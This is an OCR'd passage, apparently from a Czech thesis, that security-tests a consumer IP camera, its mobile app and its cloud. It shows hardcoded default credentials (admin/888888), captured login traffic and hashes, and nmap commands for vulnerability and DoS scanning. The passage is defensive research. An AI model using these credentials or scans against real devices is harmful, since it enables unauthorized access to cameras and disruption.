public static final String DEFAULT USER PASSWORD = "888888";

public static final int H264 MAIN STREAM = 10;

public static final int H264 SUB STREAM = 1;

[...]

Intent locallIntent = new Intent();

locallIntent.setAction ("object.ipcam.client.camerainfore-
ceiver");
if (this.option == 65535) {
this.option = 1;
}

locallIntent.putExtra ("camera option", this.option);
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locallIntent.putExtra ("camera name", this.cameraName) ;

localIntent.putExtra ("cameraid", StringUtils.ge-
tUID(this.cameraUid)) ;

localIntent.putExtra ("camera user", "admin")

localIntent.putExtra("camera pwd", '888888")

sendBroadcast (localIntent) ;

goBackHome (1) ;

}

4
4

Z kodu je navic zfejmé, ze ptihlasovaci udaje jsou prendseny piimo v URL HTTP poza-

davku:

package vstc.vscam.activity.apcamera;

import android.content.Context;

[...]

public class ApSearchBindActivity

private void sendCgi (String paramString, int paramInt)

{ String str2 = strl + "/set wifi.cgi?enable=l&ssid=%s&en-
crypt=0&defkey=0&keyl=&key2=&key3=&keyd=&authtype=2&keyformat=
O&keyl bits=0&key2 bits=0&key3 bits=0&key4 bits=0&chan-
nel=13&mode=0&wpa psk=%s&loginuse=admin&loginpas=888888";

HttpResponse localHttpResponse;
[...]

Obrazek 19: Prostiedi dekompilatoru JD-GUI

CNCNC)

AlarmMNaticeWayActivity.class - Java Decompiler

File Edit Navigation Search Help

(=

5 Eyed.v5.1.3.apkpure.com-dexdar,ar

ultipartBody.class
CKHIpClient class
rotocel class
ealCal.class

ivity.alarmotice: I

o1
t MUDIFY_OPEN_ SUCCESS ~ 1003,
Final int MODIFY_TEL_OPEN_ SUCCESS = 1005;
string Relation_maill
ng Relat:

FEr P RO

Zdroj: vlastni zpracovani

VI. Aplikace nepodepsana vyrobcem

Digitalni podpis aplikace dava uzivateli jistotu, Ze verze, kterou stahl a instaluje je spravna

a nebylo s ni manipulovéno.
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Ovéreni
Podpis se uklada v APK do adresdife META-INF a souboru CERT.RSA. Soubor lze precist
piikazem:

# keytool -printcert -file cert.rsa -v
Vystup ptikazu lze ovérit u oficialniho zdroje aplikace. Je také vhodné zkontrolovat datum
platnosti certifikatu, pfipadné dalsi informace o vydavateli.

Demonstrace
Certifikat testovaného zatizeni je podepsan vydavatelem ding keji, platny je az do roku 2286

a pouzity algoritmus byl SHA-1 s RSA. Verze certifikatu je 3, coZ je aktualni verze.

Owner: CN=ding, OU=keji, O=keji, L=keji, ST=keji, C=keji
Issuer: CN=ding, OU=keji, O=keji, L=keji, ST=keji, C=keji
Serial number: 501cal6?
Valid from: Sat Aug 04 00:13:27 EDT 2012 until: Thu May 20
00:13:27 EDT 2286
Certificate fingerprints:
MD5: 03:68:3B:E6:63:38:EB:24:11:9C:6D:E3:3A:FA:24:E2
SHAL:
FA:FC:0D:7B:71:E4:26:2E:4E:10:64:EC:EA:03:30:B7:F9:31:A9:07
SHA256: [...]
Signature algorithm name: SHAIwithRSA
Version: 3

VII. Enumerace uZivatelskych ucti

Mobilni aplikace by méla implementovat ochranu vii¢i enumeraci uzivatelskych uctt.
Ovéreni

Ovéfeni je moZné porovnanim odezvy mobilni aplikace na redlné a neexistujici uZivatelské

jméno. Odpovéd’ by méla byt v obou ptipadech stejnd, bez zbyte¢né detailnich informaci.
Demonstrace

Mobilni aplikace poskytuje uzivateli informace o existenci pfisluSného uzivatelského tctu,

jak je zndzornéno na obrazku 20.
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Obrazek 20: Enumerace u¢tl na mobilni aplikaci

Login in Login in

Forgot Password? Register Forgot Password? Register

Zdroj: vlastni zpracovani
VIII. Neomezené hadani hesel

Mobilni aplikace by neméla umoziovat neomezené hadani hesel k uzivatelskym uctam.
Bezpecnostnim standardem je zamknuti ptislusného uctu na definovanou dobu po nékolika
chybnych pokusech o ptihlaSeni (3-10).

Overeni
Ovéfit ochranu vici hadani hesla 1ze opét dvéma zptisoby. Prvnim je nalezeni piislusného
nastaveni v konfiguraci aplikace. Druhym je experimentalni simulace dostatecného mnoz-
stvi neplatnych pokust a poté ptihlaseni platnymi udaji.

Demonstrace
Mobilni aplikace neobsahuje nastaveni zamykani uc¢tt pii neuspésnych pokusech o ptihla-
Seni. Zaroven bylo experimentalné ovéteno, Ze i po vice nez 50 opakovani nespravného hesla
bylo stale mozné se pifihlasit spravnym heslem, coZ znamen4, Ze ucet neni chranén vici ha-

dani hesel.
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IX. Chybéjici kontrola kvality hesel

Pti zméné ¢i prvnim nastaveni hesla by logika mobilni aplikace méla kontrolovat kvalitu
nového hesla s ohledem na jeho délku a komplexnost. Hesla vyhodnocena jako slaba by
neméla byt pfijata.

Ovéreni
Spociva ve zjisténi restrikci ptimo v poli, do néhoz se heslo zadéva. Dale je vhodné kontrolu
kvality hesel ovéfit pokusem o nastaveni n€které¢ho z velmi slabych hesel, naptiklad 1234,
password, abc123 atp.

Demonstrace
Mobilni aplikace explicitné vyzaduje heslo o délce alespon 8 znakt a doporucuje kombinaci
pismen a ¢isel, kterou vSak nevyzaduje (obrazek 21). To znamena, Ze i slaba hesla jsou po-

volena.

Obrazek 21: Kontrola kvality hesel mobilni aplikace

= 7 il 33%  13:10

< Modify the device password

|Enter new password

Password Requirements:

1. The password length must be between 8
and 31 characters.

2. For your privacy safety, it is strongly
recommended to change to a password with
high complexity of letter + number, and the
letter should be case-sensitive.

Zdroj: vlastni zpracovani
X. Nevhodné navrZeny proces obnovy hesla

Mobilni aplikace by méla umoznovat obnovu hesla pti jeho zapomenuti. Proces obnovy musi

byt spolehlivy, zaloZzeny na sekundarni metodé autentizace (e-mail, telefonni ¢islo) a na
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tajemstvi, které zna pouze opravnény uzivatel. Pti pfihlaSeni nové vygenerovanym heslem
musi byt vynucena jeho zména.
Ovéreni
Obnova hesla se nejcastéji konfiguruje pfi inicializaci zafizeni ¢i v nastaveni. Pfijatelnou
urovni bezpecnosti v podminkach bézné sité je zaslani nové vygenerovaného, doc¢asného,
hesla na e-mail zadany uzivatelem. Uzivatel diky tomu musi prokazat jak znalost e-mailové
adresy tak musi disponovat pfistupem k ni.
Demonstrace

Obnova hesla v mobilni aplikaci je spravné implementovana. V nastaveni lze ptidat sekun-
darni emailovy ucet, na ktery se posle nejprve odkaz potvrzeni pfistupu k emailové schrance

a pii obnové hesla 1 odkaz na webovy formulaf, kde 1ze nastavit heslo nové (obrazek 22).

Odkaz expiruje za jednu hodinu od poslani pozadavku.

Obrazek 22: Obnova hesla e-mailem
Retrieve password Dorugend podta  x =

system{@serviceb.eyed.cn 9:52 (pfed 1 hodinou) - -
komu: mné [+

Eyed4 i)

Retrieve password

Dear dp-czu-2018 User:

You are retrieving the password, please click on the following link:http://i eved cnf
ForgottenPasswords?userid=4357977&code=237c0067-f2cf-4d72-b53c-25d9f3e3bch3&expire=
152922554 08&signature=YThmZDY>WHNIZGYYWF IMmQONWQ4ZmISY 271 MW MON2ZkOThiOGM2NQ==

If the link above is not accessible, copy and paste the URL directly into the web browser.

Have a nice day!

Zdroj: vlastni zpracovani
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424 Cloudové rozhrani

Cloudové rozhrani miize byt z pohledu uzivatele realizovano webovou strankou nebo mo-
bilni aplikaci, v pozadi komunikujici s API cloudového serveru. Testované zatizeni vyuziva
pro komunikaci s cloudovym serverem mobilni aplikaci, ke které jiz byly nékteré zranitel-
nosti rozebrany v pfislusné kapitole. Mobilni aplikace komunikuje s cloudem
prostiednictvim HTTP GET a POST pozadavkl obsahujici parametry aplikace. Cloudové

servery zkoumaného zatizeni jsou hostovany zejména v Cinské lidové republice.
I. Enumerace uzivatelskych acti

Cloud by mél implementovat ochranu vii€i enumeraci uzivatelskych ucta.
Oveéreni
Ovéfeni je mozné stejné porovnanim odezvy cloudu na redlné a neexistujici uZivatelské
jméno. Odpovéd’ by méla byt v obou ptipadech stejna, bez zbyte¢né detailnich informaci.
Demonstrace
Enumerace uzivatelskych ucti byla demonstrovéana v podkapitole vénujici se mobilni apli-

kaci.
II. Chybéjici kontrola kvality hesel

Pt1 zméné ¢i prvnim nastaveni hesla by logika cloudu méla kontrolovat kvalitu nového hesla
s ohledem na jeho délku a komplexnost. Hesla vyhodnocena jako slab4 by neméla byt pfi-
jata.

Ovéreni
Spociva ve zjisténi restrikci ptimo v poli, do néhoz se heslo zadava. Dale je vhodné kontrolu
kvality hesel ovéfit pokusem o nastaveni n€které¢ho z velmi slabych hesel, naptiklad 1234,
password, abc123 atp.

Demonstrace

Kontrola kvality hesel byla demonstrovéna v podkapitole tykajici se mobilni aplikace.
III. Neomezené hadani hesel

Cloudové rozhrani by nemé¢lo umoznovat neomezené hadani hesel k uzivatelskym uctim.
Bezpecnostnim standardem je zamknuti ptislusného uctu na definovanou dobu po nékolika

chybnych pokusech o ptihlaseni (3-10).
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Overeni
Ovéfit ochranu vici hadani hesla 1ze opét dvéma zptsoby. Prvnim je nalezeni ptislusSného
nastaveni v nastaveni cloudového rozhrani. Druhym je experimentalni simulace dostatec-
ného mnozstvi neplatnych pokust a poté piihlaseni platnymi udaji.

Demonstrace
Chybé¢jici ochrana cloudového uctu vici hadani hesel byla demonstrovana v podkapitole
tykajici se mobilnich aplikaci. Pfi monitoringu komunikace byl jest¢ zaznamenan HTTP
provoz z mobilni aplikace sméiujici na web Eye4 informujici cloud o chybném hesle, jehoz

hash je spolu s dal§imi udaji cloudu zaslan. Ugel této funkcionality neni ziejmy.

POST /Android HTTP/1.1

client version: 5.1.3

Accept-Language: en

Content-Type: multipart/form-data; boundary=e95aa025-4443-
40£6-9755-d0ef41£f17666

Content-Length: 559

Host: 119.23.63.230:3001

Connection: Keep-Alive

Accept-Encoding: gzip

User-Agent: okhttp/3.10.0

[...]

http://api.eyed.cn/login/common

{"userid" :"4357977", "pwd" :"3df1lca207d828e85d2111e4cfc51e863",
"client type":"1","client uuid":"358379052448038",
"client Model":"LGD605",

"client name":"lge LG-D605",
"language":"en","date":"1529221720096", "ran":"4164",
"encryp":"c38116c5ddb0551ladbc51£f60c86c1b79"}

code4d01

result{"code":401,"msg" :"Invalid password"}
--e952a025-4443-40£6-9755-d0ef41f17666—-

IV. Nevhodné navrzeny proces obnovy hesla

Cloud by mél umoziiovat obnovu hesla pfi jeho zapomenuti. Proces obnovy musi byt spo-
lehlivy, zalozeny na sekundarni metod¢ autentizace (e-mail, telefonni Cislo) a na tajemstvi,
které znd pouze opravnény uzivatel. Pfi piihlaSeni noveé vygenerovanym heslem musi byt
vynucena jeho zmeéna.

Oveéreni
Ptijatelnou trovni bezpecnosti v podminkéach bézné sité je zaslani noveé vygenerovaného,
docasného, hesla na e-mail zadany uzivatelem. Uzivatel diky tomu musi prokazat jak znalost

e-mailové adresy tak musi disponovat pfistupem k ni.

70



Demonstrace

Obnova hesla byla demonstrovana v podkapitole vénujici se mobilni aplikaci.
V. Otevieny pienos prihlasovacich udaju, tokeni a cookies

Pti ptihlasovani do cloudového rozhrani nesmi byt uzivatelska jména a hesla vystavena od-
poslechu sité neboli nesmi byt viditelnd v datovém provozu. Stejna podminka plati i pro dalsi
citlivé idaje jako jsou autentizacni tokeny a cookies. Odposlech a zneuziti téchto citlivych
dat miize vést k tzv. session hijackingu a impersonizaci Gtocnika za opravnéného uzivatele
bez znalosti ptihlasovacich idaji. Datovy provoz by mél byt Sifrovan SSL/TLS.

Ovéreni
K ovéfeni je tfeba nastavit odposlech komunikaéni linky. Zachyceny capture soubor je
mozné analyzovat v grafickém nastroji Wireshark a vyhledat fetézce obsahujici klicova
slova tykajici se loginu, hesla atd.

Demonstrace
Otevieny pienos prihlasovacich udajii byl demonstrovan v podkapitole vénujici se mobilni

aplikaci.
VI. Nepritomnost HTTPS

Zavedeni HTTPS na stran€ cloudu je vhodné nejméné ze dvou diivodl. Prvnim je vySe zmi-
nované Sifrovani datového provozu, které Uto€nikovi znemoZni odposlech komunikace,
zejména pred nim skryje citliva data, at’ uz jde o autentizacni udaje, cookies nebo samotny
obsah. Druhym divodem je validace cloudového serveru. Klient si kontrolou pravosti certi-
fikatu mize ovéfit, zda se server za legitimni cloud pouze nevydava.

Ovéreni
Implementaci HTTPS na cloudovém serveru lze ovéfit piihlaSenim se do Gctu prostrednic-
tvim webového prohliZzeCe. V adresnim tadku je v ptipadé zabezpeceného HTTPS spojeni
obvykle zelend ikonka zdmecku. Pii kliknuti na ni se zobrazi zédkladni informace o certifi-
katu: komu byl vystaven (mélo by se jednat o cloudovy server), jaka certifika¢ni autorita jej
vystavila (rozhodné by nem¢l byt tzv. self-signed) a jaka je platnost certifikatu (mél by byt
v dany ¢as platny).

Je-1i spojeni s cloudem realizovano vefejnym API, pfistupnym prostfednictvim mo-
bilni aplikace, Ize HTTPS ovéfit monitoringem datového provozu. Veskeré HTTP dotazy by

mély byt smérovany na zabezpecenou verzi webového serveru.
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Demonstrace
Vyrobce ptredmétné IP kamery neposkytuje webové administrani rozhrani cloudového uctu.
Avsak pfi testovani procesu obnovy hesla byl e-mailem odeslan jednorazovy odkaz na we-
bovou stranku, kde bylo mozné heslo zapomenuté heslo zménit za nové. Tento jednoduchy
webovy formulaf pod doménou cloudu i.eye4.cn nebyl chranén SSL/TLS Sifrovanim, a tudiz
mohla byt nova hesla snadno odposlechnuta ¢i manipulovéna Gtocnikem. Dalsi citlivé tidaje

byly navic predavany v URL.

Obrazek 23: Chybe¢jici HTTPS Sifrovani cloudu

2 [} retrieve password

Please set a new password

password: Numeric plus letters

confirm password: The password must be the same

Zdroj: vlastni zpracovani
VII. Chybéjici mozZnost vicefaktorové aktualizace

Webové rozhrani by mélo umoziovat vicefaktorovou autentizace uZzivatell, napf. prostied-
nictvim mobilniho telefonu nebo e-mailu.

Ovéreni
Spociva v nalezeni ptislusné moznosti nastaveni v cloudovém rozhrani.

Demonstrace

Cloud prostiednictvim mobilni aplikace neposkytoval moznost vicefaktorové autentizace.
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VIII. Nespravna manipulace s uzivatelskymi daty

Zranitelnost se tyka jakékoli nevhodné manipulace cloudového provozovatele s uzivatel-
skymi daty s ohledem na jejich potencidlni zneuziti. Miize jit naptiklad o nedostatecné
anonymizovany sbér dat, jejich zpiistupnéni tfetim strandm, nedostate¢na ochrana a dalsi.
Ovéreni
Uzivatel nema mnoho moznosti, jak zranitelnost ovétit. Obvykle je mozné pouze omezit
mnozstvi dat, které vyrobce o zafizeni sbird, ptipadné velmi peclivé procist podminky uziti
a fesit problém pravni cestou.
Demonstrace
Pti cca hodinovém monitoringu Wi-Fi datové komunikace IP kamery a mobilni aplikace
byly nastrojem Wireshark identifikovany konverzace s ¢inskymi, zfejmée cloudovymi sluz-
bami. Obsah téchto datovych vymén vétSinou nebyl kviili Sifrovani zjistén. Presto je ziejmé,
ze IP kamera oznamuje svilj stav mnoha dal$im serverim a sluzbam, jejichz diivéryhodnost
neni ovétitelnd. Seznam automaticky generovanych konverzaci vcetné obsahu je uveden
nize:
e TCP: 10.0.0.199:58616 <> 61.174.10.208:80 (Cina)
{"result":{"timestamp":1522494294934, "request-

host":"api.exc.mob.com", "requestport":80, "enable":1,"filter": [
], "upconf":{"crash":"1","sdkerr":"-1", "apperr":"-1"}},"sta-
tus":200}

o TCP: 10.0.0.199:53921 <> 61.174.10.209:80 (Ciina)

{"status":200, "sr":"S5fWWGNn+16490xy+Fd+1Vsw==", "sc":"peV-
GEPzSmBAUOMMO /1YKVuAA8Hsx53AJwLICChZASsMcgxtfGEaSImFoxUFZBFgIM
S/DVDpdvikls766I0xLYXVNmM7ZQHIhS1uOPtYOKyS7ZiNUI20PL7r8I7cxpig-
MWK+rYQ3y4051yRYvaU/bpuDlCKSAJ0bCiIxjOzt1oI5IHCP6BDIZziQKgpwSxL
1ihXUnCL18W27nLCUMHIMJISNw53nEmVZ fbupjI21lmDYg/c7Pa2qJdCyAoVn-
KIzL9/6MSmb", "timestamp":1522494084425}

e TCP: 10.0.0.199:54173 < 115.29.253.108:443 (Ciina)

{"name":"48.53.75.113","MD5" :"AAQ04276428ECBD8A6B4C65F2D97AEG6OD
", "el’l":"","Zh":"","dOWn—

load file":"/b0115b402b4711e8b96593144d9d9%6b3.bin","Size":"125
3565", "download server":"doraemon.ipcam.so"}

e TCP:10.0.0.199:37717 <> 117.149.38.103:80 (Cina)

POST /errconf HTTP/1.1\r\n

Connection: Keep-Alive\r\n

Content-Type: application/x-www—form-urlencoded\r\n

User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; LG-D605 Bu-
11d/KOT49I.D60520h) \r\n

Host: api.exc.mob.com\r\n
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Content-Length: 79\r\n

\r\n

Form item: "key" = "1ff36caf273b8"

Form item: "sdk" = "MOBSDK"

Form item: "apppkg" = "vstc.vscam.client"
Form item: "appver" = "90"

Form item: "sdkver" = "1"

Form item: "plat" = "1"

e TCP: 10.0.0.199:52606 <> 124.160.146.131:80 (Cina)

POST /api.php?format=json&t=1 HTTP/1.1\r\n

Content-Type: application/x-www-form-urlencoded\r\n

GT C T: 1\r\n

GT C K: 0378965443503246e2e8ff0ablfd3221\r\n

GT C V: YUNuUWWc4MONXOFdzRmhgMCuF1lETqyszdSNQ972iTIL4ZsNF800-
eruk3owKewJzvbt 7FARENYPzVz jpwTbVVsSrUjKg/zHDakpxlaAoc8znUlGV/
aRIEkNOvoVHKPrsJDXyEyAkalbCheTa-
bSLn/P230PTzA0J16d05kPFIe3vaY8DNRg2zC61i9kILmQvx0o8k\r\n

GT T: 1522182122240\r\n

GT C S: uJUulFgc8kEoUOLBLXMHL/JjI82k=\r\n

User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.2; GT-S7580 Bu
11d/JDQ39) \r\n

Host: sdk.open.phone.igexin.com\r\n

e UDP: 10.0.0.198:10792 « 54.223.48.100:32100 (Cina) — pravidelny UDP bea-
coning

e UDP:10.0.0.198:10792 « 52.8.110.102:32100 (USA) — pravidelny UDP beaco-
ning

e UDP: 10.0.0.198:10792 < 50.16.197.146:32100 (USA) — pravidelny UDP bea-

coning
IX. Zranitelnosti webového serveru

Webové rozhrani cloudu by nemélo byt zranitelné viici utoklim typu cross-site scripting,

cross-site request forgery, SQL injection, path traversal, remote a local file inclusion.
Ovérent

Rozsah této prace neumoziuje vénovat se hloubéji zranitelnostem webovych aplikaci. Oveé-

feni ucloudového serveru provozovatele neni ani pravné mozné a mohlo by byt

kvalifikovano jako trestny €in.

4.2.5 Sitové sluzby, protokoly a architektura sité

Pti analyze hrozeb vychazejicich ze sitového zapojeni je dobré vychazet z diagramu archi-

tektury sit€ a administratorského ptistupu k Wi-Fi router-switchi.
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I. Nevhodna architektura sité

Nevhodna sitovéa architektura poskytuje utocnikovi prostor pro lateralni pohyb napadenou
siti. Kompromitace jednoho zafizeni tak mize vést k uplné ztraté¢ divéry ve vSechny prvky
sité, proto je dulezité jiz pti ndvrhu sité volit analyticky pfistup preferujici bezpecnost, na-
zyvany security by design.

Navrh sit¢ by mél preferovat kabelova piipojeni pred bezdratovym. Pole vytvarena
bezdratovymi vysilaci totiz piekonavaji perimetr chranéného prostredi. DalSim faktorem ke
zvazeni pii navrhu sité je tzv. security by obscurity. To je oznaceni piistupu pouzivajici ne-
zvyklé techniky oznacovani proménnych, domén, ptidélovani adres a dalSich. V piipadée
sitové architektury lze technika vyuzit pfi pfidélovani nestandardnich IP rozsahti, oznaco-
vani gateway a serverd (naptiklad 10.0.6.230 pro gateway).

Technika vyuzivana Castéji vétsimi podniky, je segmentace sit¢ na okruhy divéry. Po-
tencialné rizikové systémy, jsou umistény v odd€lenych castech sit¢ tak, aby pifimo
neohrozily dileZité asety vnitini sité. Segmentaci je vhodné implementovat na firewallech
a switchi. Pfimo urcené k tomuto ucelu jsou tzv. virtudlni privatni sit¢ (VLAN), které vza-
jemné¢ logicky odd€luji rizné segmenty. Je-li nutné k 10T zafizeni pfistupovat z vngjsi site,
je vhodnou implementaci demilitarizovana zona, ve které jsou umistény servery a sluzby,
které maji byt dostupné z internetu, ale nemohou komunikovat do interni site.

Zminény piistup k vnitinim asetiim z vné&jsi sité je moZné fesit nastavenim vzdaleného
VPN pfistupu do vnitini site, spiSe nez vystavovat zafizeni mimo chranény perimetr. Konfi-
gurace VPN je ale spiSe pro pokrocilejsi uzivatele.

Ovéreni
Spociva v analyze sitové architektury, obfuskaci adresacnich politik a hledani prostupu mezi
internimi asety vnitini sit€¢ a nedivéryhodnym IoT zafizenim. NiZe jsou uvedeny dva pii-
klady vhodné;si architektury sité. Prvni na obrazku 24 ukazuje variantu zapojeni prvki [oT
do demilitarizované zony (DMZ). Druha varianta na obrazku 25 umistuje IoT a vnitini asety

do dvou riznych oddélenych VLAN.
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Obréazek 24: Varianta zapojeni loT do DMZ

LAM
10.0.9.56
Android 4.4
Router o
192.168.2.165 {[ Wi-Fi
SSID: dlink
#
o g %
gy 7.
D-Link router 10.0.176.22
10.0.6.230 kKali Linux
| DMZ
Dj}%\w? ==
100923
192.168.19.208 Windaws 7
loT kamera
Zdroj: vlastni zpracovani
Obrazek 25: Varianta zapojeni loT do VLAN
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windows 7
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WAN
T

10.0.20.22
D-Link router Kali Linux
10.0.1.5
% VLANZ
N

10.0.10.208
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Zdroj: vlastni zpracovani

Demonstrace
Testovaci sit’ s béZnym domacim routerem neni rozdélena na segmenty. Je ale mozné toho
dosahnout nékolika zplisoby. Jednim z nich je vestavéna funkce routeru nazvana DMZ, jejiz

konfigurace je vyobrazena na obrazku 26. Router v podstaté umoziuje vyclenit jednu IP
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adresu (zde 10.0.0.198) do DMZ. Tato adresa nemé dovoleno komunikovat s vnitini siti,
ptestoze je v jejim rozsahu. Levnégj$i router-switche obvykle nedisponuji nastavenim VLAN,
funkeci je ale moZzné simulovat firewallovymi pravidly.

Zmeéna adresacnich politik je pak zdkladnim nastavenim kazdého routeru s DHCP ser-

verem.

Obrazek 26: Vyclenéni zatizeni do DMZ

D-LINK SYSTEMS, INC. | WIRELESS ROUTER : Advanced / Firewall Settings - Iceweasel @ ® 0

D-LINK SYSTEMS, INC. |... % +*

€& @ 10.0.0.1/Advanced/Firewall. shtml v C"| |Q Search | w B 3 & »

FIREWALL SETTINGS

Enable SPI: &

HAT ENDPOINT FILTERING

Endpoint Indepandent
UDP Endpoint Filtering: & address Restricted

) Port And Address Restricted

Endpoint Independent
TCP Endpoint Filtering: ) Address Restricted

® rort And Address Restricted

ANTISPOOF CHECKING

English ¥

Enable anti-spoof checking: ||

DMZ HOST

The DMZ (Demiltarized Zone) option lets you set a single computer on your network outsde of the
router. If you have a computer that cannat run Internet applications successfully from behind the
router, then you can place the computer Into the DMZ for unrestricted Internet access.

Hote: Putting a computer In the DMZ may expose that computer to a varlety of securlty risks. Use of
this option s only recommended as a last resort.

Enable DMZ: (&

DMZ IP Address : |10 qag |

s | Computer Mams

Zdroj: vlastni zpracovani
II. Nedostate¢né zabezpeceni sité

Zabezpecenti sité by se vzhledem k rozsahu tématu mohla vénovat samostatna prace. V do-
macich podminkach je zdkladnim prvkem hrani¢ni router-switch, ktery obvykle predstavuje
1 centralni prvek sité. Zahrnuje v sobé€ i funkcionalitu firewallu a Wi-Fi pfistupového bodu.

Administratorsky ptistup ke gateway by mél byt zabezpecen silnym heslem s restrikci

spojeni iniciovanych pouze z privatni sité. Heslo k Wi-Fi musi byt dostate¢né¢ dlouhé
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a komplexni — dlouhé¢ alesponl 8 znakt, obsahujici Cisla, velkd i mald pismena a specidlni
znaky. Nastavenim firewallu by mél byt zakazan TCP forwarding, neumoziiujici pfistup
k zatizeni za NAT.

Pro pokrocilé uzivatele 1ze doporucit nasazeni prvku IDS ¢i IPS. Otevienymi varian-
tami téchto systému jsou napi. Snort a Suricata.

Ovéreni
Heslo k router-switchi Ize obvykle nastavit v administraénim webovém rozhrani. Wi-Fi by
méla byt Sifrovana variantou WPA?2 s kvalitnim heslem. Firewall se nastavuje také v admi-
nistracnim rozhrani, u vys$sich fad routerii lze pravidla definovat i sadou iptables. Prvky
IDS/IPS by mély byt zafazeny na Urovni switche za firewallem perimetru, aby dokéazaly
kontrolovat provoz v privatni siti. U switchtl Ize pak zapojit IDS/IPS software na tzv. SPAN
port, jenZ kopiruje veSkery provoz na tento port. Sady pravidel, se kterymi IDS/IPS pracuji,
jsou dostupné komunit¢ online (Snort, 2018).

Demonstrace

Testovaci prostiedi preferuje bezdratové ptipojeni, které umoznuje v prostredi domac-
nosti vétsi flexibilitu za cenu nizsich nakladi na vybudovani infrastruktury. Navzdory
predpokladiim silného hesla Wi-Fi sité testovana IP kamera svym omezenim piimo oslabuje
zabezpeceni Wi-Fi, ke které se ptipojuje. Manual doslovné uvadi néasledujici instrukce: ,,Wi-
Fi heslo by m¢lo byt kratsi nez 16 znakli a nesmi obsahovat specidlni znaky jako @ ¥ !.
Doporucujeme vytvofit heslo, které obsahuje pouze pismena a ¢isla.” (Vstarcam, 2017) Pti-
sluSny zdznam byl zobrazen na obrazku 15.

Daéle sit’ vyuziva bézného ptideélovani IP adres, kdy bréna je reprezentovana 10.0.0.1
a zafizeni pak od 10.0.0.100 vyse.

Firewall v testované siti predstavuje jednoduchy doméci router. Jeho nastaveni jsou
rozdélena do nékolika zalozek ve webovém rozhrani, napt. Port forwarding (obrazek 27),
Application Rules, Network Control, Access Control, Inbound Filter a Firewall Settings, ve
kterém lze nastavit DMZ. Presmérovani porti (port forwarding) predstavuje potencialni bez-
pecnostni zranitelnost.

Jednoduchy domaci router v testovaci siti neni pfipraven na zapojeni IDS/IPS — nedis-

ponuje SPAN portem ani instalovatelnymi moduly.
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Obrazek 27: Nastaveni firewallu na routeru

D-LINK SYSTEMS, INC. | WIRELESS ROUTER : Advanced / Port Forwarding - Iceweasel e 0 0

/ D-LINK SYSTEMS, INC. |... % | #

v C"| |Q Search

@ 10.0.0.1/Advanced/Gaming.shtml

This option & usad to open mukltiple ports or a range of ports In your router and redirect data
through these ports to a single PC on your network. This feature allows you to enter ports In
various formats Including, Port Ranges (100-150). Indwidual Ports (20, 68, 888), or Mixed
(1020-5000. 6283). This option k= only applcabla to the INTERNET session.

| Save Settings | | Don't Save Settings |

24 -- PORT FORWARDING RULES

Ports to Open

Mame |i TCP
| e |

Schedule

English ¥

Application Name ¥ |

 IP Address E|

MName E|
| Application Name ¥ |

IP Address E|

pooo | [conpurane_v]
&
|rr—
IP Address E|
e

Mame

0.0.0.0

Always ¥ |

Inbound Filter

| | At 2 v |

Schedule

|| Aways ¥ |

Inbound Filter

| | Atow an v |

Schedule

|| Aways ¥ |

Inbound Filter

| | Allow A v |

| Computer Hams ¥ |
Schedule

Atways ¥ |

Mame E|

| Application Name ¥ | |

Zdroj: vlastni zpracovani

III. Oteviené porty nevyuzivanych sluzeb

IoT z principu musi poskytovat komunikacni sitové rozhrani. Kazdé rozhrani ale mize Gtoc-
nikovi poslouzit 1 jako vstupni bod do systému. Z toho divodu by zafizeni nemélo mit
oteviené porty sluzeb, jeZ nejsou aktivné vyuzivany k legitimnim uceliim, nebo dokonce
mély ptivodné slouzit jen k testovani pii vyrob¢. Zaroveil by vSechna rozhrani méla byt do-
kumentovana.
Ovéreni

Ziejmé nejjednodussim zplsobem, jak ovéfit, jaké porty jsou na zafizeni oteviené je skeno-
vaci nastroj nmap. Nasledujici ptikaz oskenuje vSech vice nez 65 tisic portl zafizeni s IP

adresou 10.0.0.198.
# nmap 10.0.0.198 -Pn -pl-65535
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Pti zjisténi nestandardniho otevieného portu je tfeba nalézt jeho ucel a piipadné v nastaveni
zafizeni danou sluzbu zastavit.
Demonstrace

Testované zatizeni ma ve vychozim stavu oteviené celkem Ctyii porty:

Nmap scan report for 10.0.0.198

Host is up (0.079s latency).

Not shown: 65531 closed ports

PORT STATE SERVICE

9600/tcp open micromuse-ncpw
10080/tcp open unknown

10554 /tcp open unknown

22687/tcp open unknown

MAC Address: 28:AD:3E:3E:A6:B2 (Unknown)

Neni ziejmé, jaky je ucel portu 9600/TCP. Port 10080/TCP je standardizované rozhrani ka-
merovych systéml ONVIF. Port 10554/TCP je pak RTSP protokol urceny ke streamovani
zaznamenavaného zvuku a obrazu klientiim. Na portu 22687/TCP bézi webové rozhrani
a tento port je pridélovan nahodné po kazdém restartu. AZ na neznamou sluzbu na TCP portu
9600 zafizeni neobsahovalo implicitné oteviend administratorskd rozhrani jako Telnet

a SSH.
IV. Zranitelné sluzby a rozhrani

BéZici sluzby identifikované v piedchozi ¢asti by nemély byt zranitelné a zejména komuni-
kacni protokoly by mély byt spravné implementované. Tyké se to typicky sluzeb Telnet,
SSH, FTP, SMTP, POP3, NetBIOS, SMB, SNMP, RTSP, SQL, HTTP a dalSich v zavislosti
na typu zafizeni. Bézné zranitelnosti zahrnuji buffer overflow, fuzzing, DoS, packet replay
a mnohé dalsi, specifické pro kazdou sluzbu.

Ovéreni
Hledani zranitelnosti sitovych sluZzeb je komplikovanym a rozsahlym tématem, ktery neni
mozné pokryt v rdmci této prace. Bézny uzivatel ale mize vyuzit vetfejné dostupnych na-
strojii k zdkladnimu otestovani téchto sluzeb. Skenovaci nastroj nmap umoziuje spousténi
tzv. NSE skriptt, které automaticky oskenuji nékteré zranitelnosti identifikovanych bézicich
sluzeb. Ptikaz je nasledujici:

# nmap -Pn -T4 -pl-65535 --script vuln 10.0.0.198
Pro otestovani zranitelnosti DoS Ize spustit ptikaz:

# nmap --script dos -Pn 10.0.0.198
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Kromé nastroje nmap existuji mnohé dalsi komer¢ni nastroje, jako OpenVAS nebo Nessus,
sitich.

Demonstrace
K tomu, aby nmap spustil skenovani zranitelnosti, musi identifikovat sluzbu bézici na daném
portu. U IP kamery se to ale ani v jednom ptipad¢€ nepodatilo. Jiné nastroje nebyly vzhledem
k jejich nedostupnosti vyzkouSeny.

Bezpecnostni vyzkumnik Pierre Kim objevil, ze RTSP server poskytovany IP kamerou
nevyzaduje piihlageni ke sledovani video-streamu (Kim, 2017). Utoénikovi tak sta¢i vykonat
jednoduchy ptikaz, a ziska ptistup k obrazu i zvuku z kamery:

